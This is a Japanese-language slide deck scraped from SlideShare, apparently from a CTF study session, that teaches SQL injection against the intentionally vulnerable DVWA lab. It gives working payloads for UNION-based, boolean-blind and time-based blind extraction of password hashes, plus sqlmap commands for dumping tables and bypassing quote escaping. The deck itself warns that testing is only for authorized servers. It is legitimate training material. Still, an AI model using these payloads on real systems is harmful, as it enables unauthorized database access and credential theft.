Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

猫でもわかるかもしれない SQLインジェクション

みんなでCTFをやろう

  • Login to see the comments

猫でもわかるかもしれない SQLインジェクション

  1. 1. Security Topic SQL injection について 猫でもわかる
  2. 2. Let's SQL injection DVWA with Docker で SQL injection を試す http://www.dvwa.co.uk/ DVWA とは 脆弱性を持ったWebアプリ(PHP + MySQL) MAMPやDockerで簡単に動かせる Docker image : https://hub.docker.com/r/originalsix/docker-dvwa/
  3. 3. Use this
  4. 4. SQL injection : Level 1
  5. 5. Easy SQL Injection Level 1
  6. 6. Default word : いつもの SELECT first_name, last_name FROM users WHERE user_id = '' OR 1 -- Level 1 すべての⾏を表⽰させる いつものやつ
  7. 7. UNION SELECT first_name, last_name FROM users WHERE user_id = '' OR 1 UNION ( SELECT 1, 2 ) -- result[0] = 1 result[1] = 2 Level 1 UNIONで出⼒結果を追加してみる
  8. 8. UNION SELECT first_name, last_name FROM users WHERE user_id = '' UNION ( SELECT 1, 2 ) -- result[0] = 1 result[1] = 2 Level 1 UNIONで出⼒結果を追加してみる
  9. 9. FROM information_schema.columns SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT table_name, GROUP_CONCAT(column_name) FROM information_schema.columns GROUP BY table_name -- table_name : users column_name : name, user_id, avatar, password, user, last_name ※ information_schema.columns : 管理情報をもつtable GROUP_CONCAT : 複数の要素をまとめる Level 1 テーブル⼀覧とそのカラムを表⽰する
  10. 10. Get password FROM users first_name : admin password: 5f4dcc3b5aa765d61d8327deb882cf99 decode with john 復号ツールで解読したり... SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT CONCAT(first_name, last_name), password FROM users -- Level 1 さっきの情報を元にpasswordを出⼒
  11. 11. Get password FROM users first_name : admin password: 5f4dcc3b5aa765d61d8327deb882cf99 Level 1 出た! (ハッシュ値は別途復号ツールで復号する)
  12. 12. SQL injection : Level 2
  13. 13. Blind SQL Injection 出⼒結果が⾒れない Level 2
  14. 14. Default word : いつもの 出⼒結果が⾒れない 出⼒の有無だけわかる Level 2
  15. 15. Default word : いつもの 出⼒結果が⾒れない admin(id=1) の password をGETしてみる [前提] passwordというカラムを知っているとする(知る⽅法は後述) 出⼒の有無だけわかる Level 2
  16. 16. Blind SQL Injection SELECT first_name, last_name FROM users WHERE user_id = '1' AND SUBSTR(password,1,1) = "0" -- Level 2 passwordの1⽂字⽬から1⽂字⽬は"0"か? -> false
  17. 17. Blind SQL Injection SELECT first_name, last_name FROM users WHERE user_id = '1' AND SUBSTR(password,1,1) = "5" -- Level 2 passwordの1⽂字⽬から1⽂字⽬は"5"か? -> true
  18. 18. Blind SQL Injection SELECT first_name, last_name FROM users WHERE user_id = '1' AND SUBSTR(password,1,1) = "5" -- Level 2 passwordの1⽂字⽬から1⽂字⽬は"5"か? -> true
  19. 19. Blind SQL Injection shell script等 サクッと実装しよう!
  20. 20. SQL injection : Level 2++
  21. 21. Blind SQL Injection(Time-base) 出⼒結果が⾒れないし SQLの成否もわからない Level 2 Insert⽂が使⽤されている時など (DVWAにはないです)
  22. 22. Blind SQL Injection(Time-base) SELECT first_name, last_name FROM users WHERE user_id = '1' AND IF(SUBSTR(password,1,1) = "0", sleep(5), sleep(0))-- Level 2 passwordの1⽂字⽬から1⽂字⽬は"0"か? 即レスポンス -> false
  23. 23. Blind SQL Injection(Time-base) SELECT first_name, last_name FROM users WHERE user_id = '1' AND IF(SUBSTR(password,1,1) = "0", sleep(5), sleep(0))-- Level 2 passwordの1⽂字⽬から1⽂字⽬は"0"か? 5秒後レスポンス-> true
  24. 24. Blind SQL Injection(Time-base) SELECT first_name, last_name FROM users WHERE user_id = '1' AND IF(SUBSTR(password,1,1) = "0", sleep(5), sleep(0))-- Level 2 passwordの1⽂字⽬から1⽂字⽬は"0"か? 5秒後レスポンス-> true
  25. 25. Blind SQL Injection(Time-base) shell script等 サクッと実装しよう! (コピペ)
  26. 26. どうやってテーブル名を取得する? • 勘 (users, passwordくらいなら...) • information_schema.columnsのn⾏⽬のtable_nameを総当り SELECT first_name, last_name FROM users WHERE user_id = '' OR SUBSTR((SELECT table_name FROM information_schema.columns LIMIT 10, 1),1,1) = "u" -- LIMIT⽂ : 結果の10番⽬から1⾏出⼒する = そのテーブルの1⽂字⽬は"u"か? (usersが何番⽬に出⼒されるかわからない(厳しい))
  27. 27. Automatic SQL injection sqlmapでこれらの攻撃を⾃動で⾏える! (つよい)
  28. 28. sqlmap -o :3スレッド並列処理 -T :テーブルを指定 --tables :table⼀覧を取得 --dump :tableデータをダンプする
  29. 29. sqlmap --tables sqlmap -o -u "[targetUrl]" --cookie="[session]" --tables table⼀覧を取得
  30. 30. sqlmap --dump sqlmap -o -u "[targetUrl]" --cookie="[session]" --dump userテーブルが⾒れた
  31. 31. sqlmap --prefix "--prefix" や "--postfix"で簡単なSQL injection対策も突破 $input_escaped = str_replace(" ' "," ' ",$user_input); '(シングルクォート)を ' に置き換える -> 「' AND ~~~」が使えない! 1. prefixで を指定 2. 「 ' AND ~~~」 (バックスラッシュ)が特殊⽂字化して ' が使えるようになった!
  32. 32. Notes SQLインジェクションは 管理化もしくは管理者から許可されたサーバにのみ⾏いましょう (参照 : 不正アクセス禁⽌法 etc...) DockerやVMなどで作った環境で試すのがオススメ
  33. 33. Appendix(SQL injection Task) • sharifCTF 7 http://ctf.sharif.edu/ctf7 [Poor Guy, Irish Home] • ksnCTF http://ksnctf.sweetduet.info/problem/6 [6:login] • Seccon2016 https://score-quals.seccon.jp/question/ [basiq] • Cheat Sheet https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

×